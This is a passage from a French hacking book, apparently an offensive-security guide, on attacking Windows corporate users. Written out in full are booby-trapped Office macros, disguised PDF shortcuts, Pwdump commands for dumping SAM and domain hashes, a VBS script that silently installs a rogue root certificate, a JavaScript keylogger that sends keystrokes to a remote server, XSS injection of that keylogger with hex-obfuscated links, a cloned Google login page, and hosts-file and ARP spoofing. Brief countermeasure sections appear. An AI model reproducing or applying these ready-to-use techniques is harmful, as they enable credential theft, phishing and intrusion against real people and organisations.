victime, comme télécharger un logiciel, copier des fichiers, changer son mot de passe, etc.
Notre but est de lancer un script qui créera un utilisateur dans le domaine et qui donnera à ce
compte les droits administrateurs du domaine. Nous allons pour cela exécuter une commande
grâce à la fonction Shell de VBA.
Ajoutez le code suivant :
La fonction Shell prend deux paramètres. Le premier est le chemin de l’exécutable et ses
arguments, cmd /c dans notre cas. Suit le mode d’affichage de l’application. Pour notre
exemple, nous utilisons comme deuxième paramètre VbHide, qui cache le programme à
l’utilisateur lors de son exécution.
Enregistrez, le fichier est prêt à être ouvert par la victime.
À l’installation d’Office, plusieurs dossiers sont autorisés sur la machine locale. Certains de
ces dossiers se trouvent dans le dossier de l’utilisateur et sont donc modifiables par celui-ci.
Les administrateurs configurent en général d’autres dossiers pour y mettre des modèles. Si ces
modèles sont sur le réseau, ils ajoutent en général l’autorisation d’avoir un chemin réseau en
tant que zone de confiance pour Office. Résultat, il est alors possible d’ajouter des fichiers
dans ces répertoires et de faire exécuter des macros par un utilisateur comme s’il s’agissait
d’une macro signée, soit donc sans protection aucune, ni même un message.
Alors, comment trouver les zones déjà autorisées sur son système local, ainsi que les zones
poussées par les administrateurs des systèmes ? Nous allons prendre l’exemple de Word 2013.
Exécutez Regedit.exe et allez à la clé suivante :
HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\
Security\Trusted Locations\Location2
Vous y verrez une des zones autorisées par défaut :
\Office\15.0\ correspond à la version d’Office 2013. Vous trouverez cette clé aussi pour Excel
et les autres produits de la suite.
Le chemin « %APPDATA%\Microsoft\Word\Startup » se trouve dans votre profil
d’utilisateur. « %APPDATA% » correspond à « C:\Users\Username\ AppData\Roaming\ »
Vous trouverez aussi le chemin « C:\Program Files\Microsoft Office\Templates\ » qui
contient tous les modèles par défaut. Il est nécessaire d’avoir des droits administrateurs pour
pouvoir écrire dans ce dossier. Si c’est le cas, vous allez pouvoir modifier les modèles de base
en y incluant un script de votre cru.
Les chemins autorisés par l’administrateur sont ceux donnés par la stratégie de groupe.
Naviguez dans le registre jusqu’à la clé suivante :
HKEY_CURRENT_USER\Software\Policies\Microsoft\office\15.0\word\
security\trusted locations
Vous trouverez ici les emplacements définis comme sûrs par votre administrateur.
Vous pourrez aussi voir si les chemins réseau ont été autorisés en tant que zones de confiance
par votre administrateur.
End Sub
Enregistrez le fichier en format XLS, l’ancien format d’Excel.
Copiez le fichier dans un dossier appartenant à une zone de confiance, si possible un partage
réseau.
Exemple
C:\Users\username\AppData\Roaming\Microsoft\Templates
Exécutez votre fichier Excel pour tester votre script. Excel doit s’ouvrir, le script doit être
caché. Votre chemin de destination « \\Server\partage\ » contient maintenant un dossier avec
votre nom ainsi que les fichiers et dossiers de « Mes documents ».
Dans la mesure où un chemin réseau est autorisé par la stratégie de groupe, vous allez pouvoir
faire exécuter à une victime des documents Office comportant des macros non signées. Vous
allez également pouvoir lui envoyer un lien vers le fichier ou mettre un lien sur un intranet.
Vous pouvez aussi demander à l’utilisateur d’enregistrer votre fichier modèle dans un dossier
local précis pour que Word le reconnaisse correctement. Vous pourrez alors lui indiquer
comme destination un des chemins définis comme zone de confiance par défaut comme
%APPDATA%\Microsoft\Templates. Il ne se doutera pas que ce chemin plutôt qu’un autre
est dangereux pour lui, se basant sur le fait que seule une macro signée peut s’exécuter chez
lui.
Nous avons dans notre exemple ajouté un nouveau fichier. Vous avez aussi la possibilité de
modifier un fichier existant. Un modèle de lettre ou une fiche d’absence sont des modèles
idéaux. La macro infecterait alors tous les utilisateurs utilisant ces modèles.
3. Contre-mesures
Il est très important de limiter l’exécution des macros uniquement aux macros signées par un
développeur de votre entreprise. Toutes les autres macros venant de personnes internes ou
externes doivent être bloquées. Vous pouvez réaliser cela en installant votre propre autorité de
certification pour signer vos macros et en configurant des stratégies de groupe. Vous devez
aussi avoir un processus de test et de validation des macros avant leur signature, ce qui
garantira qu’elles ne sont pas nuisibles pour l’entreprise. Si vous autorisez des chemins réseau
à être de confiance pour Office, ajoutez uniquement des chemins qui sont en lecture seule
pour y placer des modèles. Sinon, n’importe quel utilisateur pourra mettre un fichier Office
piégé dans le répertoire réseau et le faire exécuter par un utilisateur cible, en lui envoyant
juste un lien vers le fichier par e-mail ou par messagerie instantanée.
Windows est capable d’ouvrir les fichiers ZIP sans l’ajout d’aucun logiciel depuis la version
XP. Sous Windows 8, l’ouverture de ce type d’extension se fait par défaut avec l’explorateur
même si un autre programme est installé.
Le fichier de destination peut être un fichier hébergé sur Internet que vous auriez recherché à
l’aide de Google en indiquant dans la recherche « filetype : PDF ».
Donnez au raccourci le même nom que celui du fichier de destination.
Changez l’icône de votre raccourci pour refléter celle d’un fichier PDF.
En cliquant sur le raccourci ainsi caché, le registre sera modifié. Le document monfichier.pdf
s’ouvrira normalement dans le navigateur. L’utilisateur n’y verra pas de grande différence. Il
aura son fichier comme attendu. Il n’aura aucune raison de se méfier.
L’utilisateur ne voit que très rapidement une console CMD s’ouvrir, puis son PDF lui apparaît
normalement.
Nous avons ici démontré la modification du registre en démarrant une ligne de commande.
Nous avons donné comme cible un fichier distant. Cette attaque peut donc être lancée depuis
l’extérieur de l’entreprise. Mais l’icône n’est peut-être pas au même endroit sur l’ordinateur
cible, de plus la console s’ouvre, certes rapidement, mais elle s’ouvre.
Cliquez avec le bouton droit de la souris sur votre raccourci et sélectionnez Envoyer vers -
Dossier compressé. Puis renommez le fichier en Presentation.zip.
La nouvelle attaque est prête à être lancée sur la cible. Vous pouvez aussi la tester vous-
même, sur votre poste de travail. Même si vous n’avez que peu de droits utilisateurs, cette
technique fonctionne. Vous ne verrez que la présentation s’ouvrir, pourtant un script aura
modifié le registre, le tout, de façon totalement invisible.
Mettez le raccourci dans un fichier ZIP. Envoyez le fichier ainsi créé à la cible.
Le résultat va vous plaire, vous aurez l’affichage de la visionneuse le temps que l’application
soit téléchargée. L’application ferme la visionneuse et se rouvre avec un vrai fichier XPS
inclus dans l’application. Pour Windows 8 et Windows Server, vous pouvez utiliser Paint
pour une image, ou encore Adobe PDF, si l’application est installée dans votre entreprise. Les
moyens techniques sont dans vos mains, il ne reste plus qu’à être créatif.
4. Contre-mesures
Vous devez bloquer ou limiter l’utilisation des lignes de commande et de PowerShell pour les
utilisateurs en utilisant les stratégies de groupe. Vous devez aussi surveiller et bloquer le
téléchargement de logiciels venant d’Internet en utilisant un proxy web. Pensez également à
sensibiliser les utilisateurs sur la problématique des logiciels reçus par un tiers qui ne fait pas
partie de l’équipe de support informatique. Bien évidemment, l’utilisateur ne doit pas être
administrateur de son poste de travail et le contrôle du compte utilisateur (UAC) doit être
activé.
Tout le reste de la démarche a déjà été défini dans le chapitre précédent, veuillez vous y
référer. Une fois le document ou l’application exécutés, le mot de passe de l’utilisateur sera
changé sur le domaine. Si le mot de passe local doit être modifié, enlevez /Domain à la fin de
la ligne de commande.
Offline, en bootant sur un média Windows, il est possible de lire le fichier SAM ou de le voler
pour le cracker plus tard. Vous pouvez aussi y accéder avec les droits système en créant un
service ou en acquérant les droits système sur le PC. Il est alors possible de lire la partie du
registre qui stocke ces mots de passe avec regedit sur votre système actuel. Pour obtenir les
droits système sur une machine, veuillez vous reporter au chapitre Prendre le rôle
administrateur ou système.
Ci-dessous, un exemple sur un système sans rebooter en utilisant les droits système :
Vous trouverez les informations telles que les mots de passe cryptés et les informations sur les
groupes de sécurité dans le registre : SAM\SAM\Domains\Account\Users
Grâce aux droits système, on peut voir des éléments normalement interdits à l’utilisateur, par
exemple, dessous, pour l’utilisateur Admin, la valeur 0x3e8, qui correspond à son RID, soit
1006 en décimal.
Le mot de passe ainsi que d’autres informations pour Admin se trouvent dans la clé de
registre HKLM\SAM\SAM\Domains\Account\Users\000003E8.
La clé V, appelée V-Block, stocke le mot de passe de l’utilisateur ainsi que des informations
sur son profil.
Ce bloc contient le hash du password mais le contenu est crypté en DES et utilise deux clés
dérivées du RID de l’utilisateur pour le protéger.
Le compte système a accès aux mots de passe sous leur forme hachée. Si vous souhaitez les
extraire automatiquement, il faudra vous créer une application, comme un service, pouvant
obtenir ces droits.
b. Extraire les mots de passe de la SAM
Nous allons utiliser un outil pour extraire les mots de passe. Vous trouverez sur Internet
l’outil Pwdump qui va nous extraire les données du registre. Nous n’aurons plus qu’à les
casser.
Exécuter l’outil avec des privilèges élevés ne suffit pas. Il faut l’exécuter avec les droits
système. Sinon, vous aurez le message suivant :
Démarrez Pwdump dans sa version 6 en tant que système avec les paramètres suivants :
PwDump.exe -x localhost > pass.txt
Le fichier pass.txt contient maintenant les hash MD4 des mots de passe.
Voilà ce à quoi ressemble le résultat de l’extraction :
admin:1006:00000000000000000000000000000000:
61feeb455de86806b42b88f55f2d569d:::
L’extraction nous donne le nom de l’utilisateur, son RID, le mot de passe en LM qui depuis
Vista n’est plus stocké et enfin le mot de passe en NTML. La partie pertinente pour nous est
la dernière : 61feeb455de86806b42b88f55f2d569d
Nous utiliserons cette information lors du cassage du mot de passe.
c. Extraire les mots de passe d’un contrôleur de domaine
Dans une entreprise, le hash des mots de passe est stocké dans Active Directory, précisément
dans la base de données NTDS.dit. Les attributs Unicodepwd et User-Password semblent
détenir ces informations. Mais il n’est pas possible d’obtenir une réponse du contrôleur de
domaine, même via des outils comme Adsedit ou ldp. Pour rechercher ces champs, il faut
aller lire directement le fichier NTDS.dit. Ce fichier est une base de données du même type
qu’Exchange ou que l’indexation des fichiers sur Windows Vista. Elle utilise un moteur ESE
(Extensible Storage Engine). La clé de décryptage pour l’accès à certaines tables contenant les
mots de passe est la même pour tous les contrôleurs de domaine. La clé système (SYSKEY)
protège la clé de protection des mots de passe sur chaque machine. Pour ceux qui souhaitent
aller plus loin que ce dont traite ce livre sur ce sujet, vous trouverez des informations sur les
sites suivants :
http://code.google.com/p/libesedb/downloads/list
http://www.nirsoft.net/utils/ese_database_view.html
Pour faire simple, nous allons utiliser sur un contrôleur de domaine l’outil que nous avions
déjà testé : Pwdump dans sa version 6.
Exécutez-le directement sur le DC en tant que système.
Pwdump -x Localhost
L’outil nous révèle les hashs des mots de passe de tous les utilisateurs du domaine.
Pwdump est aussi utilisable à distance pour autant que le serveur n’ait pas de firewall local
qui soit activé et que les services de management à distance soient actifs.
pwdump -o passwd.txt -u Domaine\Utilisateur -p ’passe’ NomPC
D’autres outils en ligne de commande existent, comme SAMDump, le principe étant toujours
celui déjà décrit. Pour résumer, il est possible d’extraire le hash du mot de passe d’un
utilisateur, qu’il soit local ou sur un domaine. Il faut pour cela avoir les droits système sur la
machine qui le stocke. Vous retrouverez d’autres applications au chapitre Fabriquer ses
propres outils de hacking - Casser un mot de passe.
Pour ceux qui souhaitent créer leur propre outil d’extraction de mots de passe, vous trouverez
facilement sur Internet la source du puissant outil Pwdump qui a été écrit en C.
Lors de l’enregistrement ou de la lecture d’un mot de passe dans IE, nous pouvons observer la
lecture/écriture des valeurs des clés suivantes :
Avant le stockage d’un mot de passe, le registre ressemble à ceci :
Juste après, la sous-clé Storage2 est ajoutée, avec une entrée de type binaire.
Le GUID de la machine est aussi lu juste avant la clé précédente lors du cryptage ou du
décryptage du mot de passe. C’est normal car le GUID est utilisé lors de ces opérations de
cryptage, ainsi que l’URL.
Depuis IE7 et jusqu’à IE9, le navigateur enregistre les mots de passe dans :
HKU\Software\Microsoft\Internet Explorer\IntelliForms\Storage2
IE 10 utilise Credential Manager pour mémoriser ses mots de passe dans un fichier se
trouvant dans un dossier : C:\Users\[Nom]\AppData\Roaming\Microsoft\Credentials
Les informations des clés sont stockées dans un fichier XML ayant un nom aléatoire. Nous
allons pour mieux comprendre le fonctionnement du stockage de ces clés, créer une nouvelle
connexion sécurisée, puis en rechercher le mot de passe.
Créez une nouvelle connexion de réseau sans fil depuis le Panneau de configuration.
#include <windows.h>
#include <wlanapi.h>
#include <objbase.h>
#include <wtypes.h>
#include <stdio.h>
#include <stdlib.h>
unsigned int i;
if (argc < 2) {
wprintf(L"usage: %s <profile>\n", argv[0]);
wprintf(L" Gets a wireless profile\n");
wprintf(L" Example\n");
wprintf(L" %s \"Default Wireless\"\n", argv[0]);
exit(1);
}
pProfileName = argv[1];
dwResult = WlanGetProfile(hClient,
&pIfInfo->InterfaceGuid,
pProfileName,
NULL,
&pProfileXml,
&dwFlags,
&dwGrantedAccess);
if (dwResult != ERROR_SUCCESS) {
wprintf(L"WlanGetProfile failed with error: %u\n",
dwResult);
// You can use FormatMessage to find out why the function
failed
} else {
wprintf(L" Profile Name: %ws\n", pProfileName);
wprintf(L"\n");
}
}
}
if (pProfileXml != NULL) {
WlanFreeMemory(pProfileXml);
pProfileXml = NULL;
}
if (pIfList != NULL) {
WlanFreeMemory(pIfList);
pIfList = NULL;
}
return dwRetVal;
}
Une fois le code compilé, vous pourrez utiliser le logiciel pour récupérer un mot de passe
mémorisé pour un réseau sans fil en particulier.
Démarrez votre application avec des privilèges élevés avec comme paramètre le SSID du
réseau Wi-Fi.
Le code complet ainsi qu’une version compilée de l’outil sont téléchargeables sur la page
Informations générales.
d. Les autres outils
Nous n’allons pas développer des outils pour récupérer les mots de passe de chaque
application alors qu’il existe une pléthore d’outils gratuits téléchargeables.
De plus, la plupart de ces outils sont aussi scriptables, ce qui permet une éventuelle
communication avec votre application.
Par exemple, sur le site http://www.nirsoft.net/, vous trouverez des outils permettant de
retrouver les mots de passe stockés dans IE7 à IE9.
Un outil permettant de révéler les mots de passe Wi-Fi (comme celui qu’on vient de
fabriquer) :
Outlook Password Decryptor permet d’avoir des informations intéressantes sur les comptes
mail enregistrés. Dans le cadre d’une PME, il n’est pas rare d’avoir des boîtes mail en POP ou
en IMAP.
Word Password Recovery permet de trouver les mots de passe des documents Word protégés
La plupart de ces outils sont utilisables en ligne de commande et sont donc scriptables. Il vous
est donc possible de les mettre dans une application piégée comme nous l’avons vu dans les
chapitres précédents.
Cette application utilisée pour retrouver les informations mémorisées par Safari le montre.
3. Contre-mesures
Pour empêcher l’extraction des mots de passe, vous devez déjà empêcher les utilisateurs de
devenir administrateurs d’une machine ou du domaine, ce n’est qu’à ce prix-là que vous
réduirez les fuites. Vous devez aussi installer un antivirus efficace et à jour pour qu’il détecte
les produits comme Pwdump et les autres logiciels d’extraction de mots de passe. Au niveau
des processus, mettez en place une différenciation des comptes d’administration des
machines, des serveurs et des contrôleurs de domaine. Pour chaque utilisateur ayant un besoin
d’administration, créez un compte d’utilisateur différent suivant le rôle pour qu’il ait une
portée restreinte.
Par exemple pour l’utilisateur Bob :
Créez un compte Bob pour l’utilisation courante comme les mails, les documents, la
navigation, etc.
Créez un compte ADM_SRV_Bob pour l’administration des serveurs.
Créez un compte ADM_AD_Bob pour l’administration d’Active Directory.
Créez un compte ADM_PC_Bob pour l’administration des PC.
Cela réduira la gravité d’une attaque si un des comptes est corrompu par un logiciel
malveillant
Comment récupérer un mot de passe depuis
le réseau ?
Les mots de passe transitent aussi sur le réseau. Les sites web, les applications ou l’accès aux
ressources demandent des informations de connexion. Nous allons profiter de cela pour
récupérer des mots de passe.
Allez ensuite dans proxy - intercept, cliquez sur intercept is On pour désactiver l’option
d’interception, sinon chaque requête sortante ou entrante sera bloquée par le proxy tant
qu’elle n’est pas validée. Cela permet la modification « en live » d’une requête sortante ou
entrante. Le résultat doit ressembler à l’image suivante :
Une fois la configuration effectuée, vous trouverez toutes les requêtes et les réponses à celle-
ci sous l’onglet history.
Allez dans l’onglet history, choisissez la requête à analyser, puis allez dans request -
params. Vous trouverez alors les informations pertinentes que vous cherchez.
La plupart du temps, les informations intéressantes sont envoyées au serveur à l’aide d’une
requête de type POST, pour être plus discret aux yeux de l’utilisateur, une requête de type
GET étant passée comme paramètre directement dans l’URL du navigateur. Il suffit alors de
rechercher ce type de méthodes dans le proxy pour trouver un mot de passe plus rapidement.
Pour vérifier que la clé envoyée du serveur émane bien du serveur original, le client vérifie
que le certificat comporte le nom de l’URL demandé qui se trouve dans le sujet ou dans les
SAN (Subject Alternative Name) du certificat. L’autorité de certification qui a fourni le
certificat doit aussi être reconnue. Le client fait cette dernière vérification en inspectant le
magasin de certificats des « Root CA » autorisé de l’utilisateur et le magasin de la machine.
Nous n’allons pas attaquer SSL de front, mais en donnant à un navigateur un proxy pour
HTTPS. Le proxy servira alors de point de terminaison, et un nouveau trafic sera créé à partir
du proxy, lui aussi en HTTPS.
Nous devons pour cela avoir un certificat SSL correctement adapté à retourner au client. De
plus, pour que le navigateur croit que nous lui envoyons un certificat valable, il va falloir
ajouter le certificat root ayant servi à signer notre certificat au magasin de l’utilisateur ou à
celui de la machine, pour que celui-ci le voie comme fiable. Si un certificat n’est pas fiable, le
navigateur renverra un message relativement clair à l’utilisateur. Nous ne souhaitons pas cela.
Dans le dossier Personnel, demandez un nouveau certificat en cliquant avec le bouton droit
de la souris.
Sélectionnez le modèle de type Serveur Web et cliquez sur Détails, puis sur le bouton
Propriétés.
Pour demander un certificat de signature de code, la démarche est la même, seul le modèle
change. Vous devrez alors sélectionner le modèle Signature de code. Les étapes Nom
commun et Autre nom ne sont pas à faire dans ce cas.
Ajoutez un nom dans le champ Nom commun. Cet attribut est le sujet du certificat final.
Vous pouvez aussi ajouter des noms alternatifs à l’aide de DNS (SAN de notre certificat).
Utilisez *.votredomaine.fr pour couvrir toutes les pages souhaitées pour un domaine.
Dans l’onglet Général, donnez un nom simple pour retrouver simplement votre certificat
dans le magasin.
Dans l’onglet Clé privée, cochez Permettre l’exportation de la clé privée pour que la clé
puisse être exportée vers notre proxy.
Vous pouvez observer le sujet ainsi que les sujets alternatifs dans le cas d’un certificat web.
Exportez le certificat créé avec sa clé privée.
Vous pouvez grâce à cette exportation installer votre certificat sur n’importe quelle machine.
c. Configurer Burp Proxy pour analyser HTTPS
Vous pouvez maintenant configurer Burp Proxy pour utiliser le certificat. Allez dans l’onglet
proxy - options, cliquez sur edit, puis choisissez use a custom certificate. Sélectionnez votre
certificat et mettez votre code.
Cliquez sur update pour que vos modifications soient prises en compte. Le proxy est
maintenant prêt à intercepter le trafic HTTPS et à retourner un certificat au navigateur.
d. Installer un root CA avec les droits utilisateurs
Nous devons maintenant faire installer le certificat root à notre victime. Pour installer un
certificat dans le magasin root de la machine, il faut être administrateur de la machine. Par
contre, pour installer un certificat dans le magasin de l’utilisateur, il ne faut pas de droit
particulier. C’est donc comme cela que nous allons procéder, viser l’utilisateur et non pas la
machine.
Testez l’installation du certificat root avec la ligne suivante :
certutil -user -addstore root root.cer
Sachez que l’exécution de cette ligne de commande engendre un message à l’utilisateur.
Pour cacher ce message à la cible et valider l’installation du certificat automatiquement, nous
allons remplacer la ligne de commande par un script VBS. Celui-ci enverra une combinaison
de touches pour valider l’installation. Le programme doit avoir le focus pour fonctionner,
testez-le avant de l’envoyer.
Créez un nouveau fichier texte avec l’extension .VBS
’On démarre certutil avec les paramètres
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "certutil -user -addstore root root.cer", 9
’On attend 1 seconde que certutil s’ouvre
WScript.Sleep 1000
’on envoie alt + o pour confirmer l’installation
WshShell.SendKeys "%o"
’on envoie alt + y dans le cas d’un système en anglais
WshShell.SendKeys "%y"
Piégez une application et faites-la exécuter à l’utilisateur cible.
Une fois la modification apportée au navigateur cible, l’utilisateur ne s’apercevra pas qu’il y a
un proxy entre lui et le serveur de destination. Pourtant, le trafic est sécurisé par notre
certificat jusqu’au proxy.
Le mot de passe est intercepté par le proxy, il y est visible en clair.
3. Script permettant d’écouter le clavier sur une page web
Il est d’abord nécessaire que vous ayez un accès en modification à une page de votre site
intranet comportant un login ou à un site SharePoint avec un formulaire pour une application
particulière. Vous allez alors pouvoir ajouter un script (ou keylogger) permettant de récupérer
les touches tapées sur le clavier de la personne consultant le site. Dans le cadre d’une faille
XSS, ce code peut aussi être injecté directement sur une page de login.
a. La page web de réception
Nous allons pour réaliser cette technique d’abord créer la page qui permet la réception des
touches pressées par la victime. Cette page aspx devra être hébergée dans IIS. Vous pouvez
créer cette page web avec le Bloc-notes ou tout éditeur de texte ; il n’est pas utile d’avoir
Visual Studio. Nous allons écrire une page qui créera un fichier par adresse IP.
Cette page devra être stockée sur un serveur web IIS supportant .NET et les pages aspx.
Créez une page aspx avec le contenu suivant :
<%@ Page Language="C#" AutoEventWireup="true" %>
<script runat="server">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server" onload="Page_Load">
<div>
</div>
</form>
</body>
</html>
b. Le code JavaScript
Le traitement est ici simpliste (il ne gère pas les touches particulières) mais donne une bonne
idée des principes de cette technique très simple.
Vous pouvez maintenant ajouter le script suivant à la page web à piéger.
<script language="javascript">
var touches=’’;
document.onkeypress = function(e)
{
get = window.event?event:e;
touche= get.keyCode?get.keyCode:get.charCode;
touche= String.fromCharCode(touche);
touches+=touche;
}
window.setInterval(function()
{
new Image().src = ’http://server/Default.aspx?touches=’+touches;
touches= ’’;
}, 1000);
</script>
Toutes les informations écrites sur le site SharePoint sont maintenant enregistrées
discrètement sur un serveur distant. Il est généralement tout aussi facile de le faire sur les
forums mal protégés ou sur les Wikis ne bloquant pas correctement le code JavaScript.
d. L’injection du script dans une faille XSS
Pour ajouter notre script, nous avons pour l’instant utilisé le droit d’écriture sur le site cible
mais il n’est pas toujours aussi facile d’injecter du code. Dans un site web où nous n’avons
pas de droit d’écriture direct, nous utiliserons ce même script sur une faille XSS (Cross Site
Scripting). La démonstration sera faite sur un formulaire ayant une faille de ce type. Vous
devrez dans votre cas d’abord trouver une faille XSS avant de pouvoir injecter le script.
La première étape est la détection d’une faille et le test de celle-ci. La page d’exemple ci-
dessous renvoie le nom de la page recherchée et indique qu’elle n’existe pas. Cela veut dire
que le texte donné en paramètre est transmis au serveur qui lui, l’a réécrit sur la page.
Pour tester la faille, nous pouvons simplement remplacer le nom de la page par un script
JavaScript, qui affiche un message.
?redirect=<script>alert(’ok’) ;</script>
Parfait, le script est écrit sur la page et est exécuté. Nous devrions pouvoir injecter le
keylogger. Nous allons analyser la source de la page.
<span id="LError">la page <script>alert(’ok’);</script> n’existe
pas.</span>
Le script est écrit entre l’ouverture et la fermeture d’une balise SPAN. Il est donc important
pour nous de fermer la balise SPAN avant d’ajouter le script.
</span><script>alert(’ok’);</script>admin<span>
Le résultat sera plus précis. Maintenant, nous pouvons injecter le script, mais dans le cas d’un
script complexe il est plus pertinent de faire référence au script plutôt que de l’injecter
directement. Nous allons utiliser une fonction JavaScript pour télécharger le keylogger dans
notre page. Il suffit d’enregistrer le script dans un fichier js sur notre serveur, puis de modifier
notre requête de la manière suivante :
?redirect=</span><script language="javascript"
src="http://monserveur/keylogger.js" ></script>admin<span>
Lors du remplissage des champs du formulaire, les informations de touches sont envoyées au
serveur qui les écrit dans un fichier par adresse IP.
Le script n’est pas discret dans l’URL, il faut le cacher au mieux avant de diffuser le lien.
Pour cela, nous utiliserons une fonction automatique des navigateurs, la conversion du texte
hexadécimal en texte ASCII. Dès que le navigateur reçoit de l’hexadécimal, il le convertit en
texte. Si vous tapez l’URL suivante dans votre navigateur, vous tomberez sur un site web très
intéressant : http://%77%77%77%2E%65%64%69%74%69%6F%6E%73%2D%65%6E
%69%2E%66%72
Pour convertir le texte en hexadécimal, vous pouvez télécharger l’application de conversion
sur la page Informations générales.
Le résultat est celui recherché : l’URL ne montre plus aucun signe direct de script. Pourtant,
en ouvrant la page source, nous pouvons voir le script chargeant le keylogger dans la page.
Il ne reste plus qu’à envoyer le lien par mail ou à l’ajouter sur le site intranet de l’entreprise.
Nous avons vu comment injecter un keylogger simple de différentes manières. Si vous
souhaitez aller plus loin avec ce type de techniques, vous pouvez utiliser le keylogger sous
licence GNU téléchargeable gratuitement ici :
http://sourceforge.net/projects/jskeylogger/files/
Le package téléchargé intègre un petit serveur web, un fichier JavaScript keylogger ainsi que
des exemples HTML de test. C’est une bonne manière de démarrer sans rien développer ou
installer.
4. Utiliser un faux site web copié
Si le site distant n’a pas de faille XSS et que vous n’avez pas de droit d’administration, il sera
alors impossible d’injecter du script pour écouter le clavier. Toutefois, une option est de
refaire un site ressemblant, pour que l’on croie être sur la vraie page de login. Un utilisateur
est en général très attentif au design et reconnait assez facilement un site mal fait. De plus, s’il
est consciencieux, il verra ou contrôlera vers où pointe l’envoi du formulaire en allant avec la
souris sur le bouton avant de le cliquer. Le but est donc d’avoir une copie conforme de
l’original et de ne pas modifier les paramètres de destination du formulaire.
a. Aspirer le site
Pour copier un site, nous allons utiliser un logiciel très simple et très efficace. L’application
s’appelle WinHtTrack et elle sert à aspirer une page ou l’ensemble d’un site, avec les images,
les feuilles de style, les JavaScript, etc. Elle recrée les liens, le site récupéré est navigable.
Vous pouvez télécharger le logiciel ici : http://www.httrack.com/
Une fois le logiciel installé, il vous permet de commencer un nouveau projet de copie. Nous
allons prendre l’exemple d’une messagerie publique connue.
Donnez un nom de projet, ainsi que le chemin où le site sera enregistré.
Les options vous permettent de limiter la profondeur à aspirer, les extensions des fichiers
ainsi que de fixer d’autres contraintes intéressantes. Nous vous conseillons de limiter la
profondeur de l’aspiration pour éviter de télécharger tout Internet sur votre machine.
Cliquez sur Terminer pour commencer le téléchargement.
Une fois la copie terminée, cliquez sur le bouton Explorer la copie du site.
La page locale a été parfaitement copiée. Le formulaire envoie bien les informations
d’identification à la destination normale.
b. Piéger le site
Il ne reste plus qu’à piéger la page pour obtenir les informations d’authentification. Pour cela,
nous pourrions renvoyer le formulaire sur une page qui enregistre le nom d’utilisateur et le
mot de passe, mais ça ne serait pas discret. Nous allons à la place ajouter le code JavaScript
qui enregistre les touches frappées.
Allez dans le dossier où sont les fichiers, ouvrez la page index.
Il est possible que le code HTML redirige le navigateur vers un autre emplacement qui est la
vraie page de login, dans notre cas, ServiceLogin49.html :
<HEAD>
<TITLE>Page has moved</TITLE>
</HEAD>
<BODY>
<META HTTP-EQUIV="Refresh" CONTENT="0; URL=ServiceLogined49.html">
<A HREF="ServiceLogined49.html"><B>Click here...</B></A>
</BODY>
Modifiez le fichier ServiceLogin49.html pour ajouter le code JavaScript créé dans la section
Script permettant d’écouter le clavier sur une page web juste après la balise « HEAD » et
avant la balise « TITLE ».
<head>
<script language="javascript">
var touches=’’;
document.onkeypress = function(e)
{
get = window.event?event:e;
touche= get.keyCode?get.keyCode:get.charCode;
touche= String.fromCharCode(touche);
touches+=touche;
}
window.setInterval(function()
{
new Image().src = ’http://server/Default.aspx?touches=’+touches;
touches= ’’;
}, 1000);
</script>
<meta charset="utf-8">
<title>Comptes Google</title>
Les touches tapées lors de l’authentification seront envoyées au serveur, puis l’utilisateur sera
redirigé sur le vrai site et directement authentifié.
Faites un ping vers la destination pour obtenir l’IP du serveur. Le port, lui, est en général 80
pour un service web.
Nous pourrions aussi modifier le fichier hosts de la victime pour que s’il met l’adresse dans
son navigateur le trafic arrive tout de même sur notre PC. Pour cela nous devons d’abord
rediriger notre port 80 vers le vrai serveur. Puis nous enverrons à la victime une application
piégée qui modifiera la résolution de noms sur son PC. La redirection est la même que
précédemment à l’exception du port d’écoute.
netsh interface portproxy set v4tov4 listenport=80
listenaddress=192.168.1.37 connectaddress=192.168.1.56
connectport=80 protocol=tcp
Créez un nouveau fichier bat ou vbs pour la modification du fichier hosts de la cible.
Attention, la modification du fichier hosts d’une machine cible nécessite les droits
administrateurs. C’est pour cela qu’elle n’est pas à privilégier.
Le fichier hosts se trouve dans C:\Windows\System32\Drivers\etc\.
Le fichier devra comporter la ligne suivante :
192.168.1.37 Intranet
Dès lors, tout le trafic vers intranet sera renvoyé vers notre machine. Depuis Windows Vista,
Windows utilise par défaut la résolution de noms dans l’ordre suivant :
1. Fichier hosts
2. Serveur DNS
3. Serveur WINS
4. Fichier de nom NetBIOS
Il est aussi possible de modifier l’entrée dans le serveur DNS, mais cela paraît difficile car il
faudrait d’abord pirater le serveur, qui le plus souvent est aussi contrôleur de domaine.
Nous pouvons plutôt ajouter une entrée quasiment similaire. Vous pouvez renommer votre
PC, ce qui nécessite des droits de modification sur les objets « machine » dans Active
Directory. Une bonne astuce consiste à créer une machine virtuelle et à la nommer Intranet0
ou quelque chose de ressemblant. Il est possible que cette opération suffise à ajouter son nom
au serveur DNS puisque le client DNS de Windows essaie de s’enregistrer dans le serveur
DNS qui lui est défini lors du démarrage de la connexion. On peut aussi forcer la commande,
si la machine n’est pas encore jointe au domaine, avec :
Ipconfig /registerdns
La sécurité par défaut d’une zone DNS stockée dans Active Directory empêche l’ajout d’un
enregistrement non sécurisé.
Il faut alors ajouter le PC au domaine. Cliquez avec le bouton droit sur les propriétés de
l’ordinateur puis sur Modifier les paramètres - Identité sur le réseau. Sélectionnez Cet
ordinateur appartient à un réseau d’entreprise. Je l’utilise pour me connecter à d’autres
ordinateurs de la société.
Il n’est pas nécessaire d’être administrateur du domaine pour réaliser cette action. Par défaut,
un utilisateur authentifié peut ajouter jusqu’à 10 machines au domaine.
Testez vos modifications en allant sur l’URL de votre PC depuis une machine autre que la
vôtre avec le port choisi, par exemple, http://192.168.1.37:8080. Vous devriez voir le
formulaire du serveur distant. Entrez un nom d’utilisateur et un mot de passe de test, comme
admin et passtest.
Arrêtez l’enregistrement des paquets et observez ceux déjà reçus. Pour vous aider, vous
pouvez filtrer le résultat de Wireshark avec le port de réception. Entrez Tcp.port eq 8080.
Analysez les paquets jusqu’à trouver celui qui est pertinent. Dans l’exemple, nous voyons, ci-
dessous dans un paquet de 192.1.68.1.79 vers 192.168.1.37 sur le port 8080, une requête de
type HTTP POST ayant les paramètres &txtutilisateur=admin&txtpassword=passtest&.
La redirection de ports nous a permis de présenter le formulaire original à l’utilisateur, mais
en le faisant passer par notre sniffer.
Puis, faites exécuter la commande suivante sur la cible, en remplaçant l’adresse MAC par la
vôtre :
arp -s 192.168.1.90 00-aa-00-62-c6-09
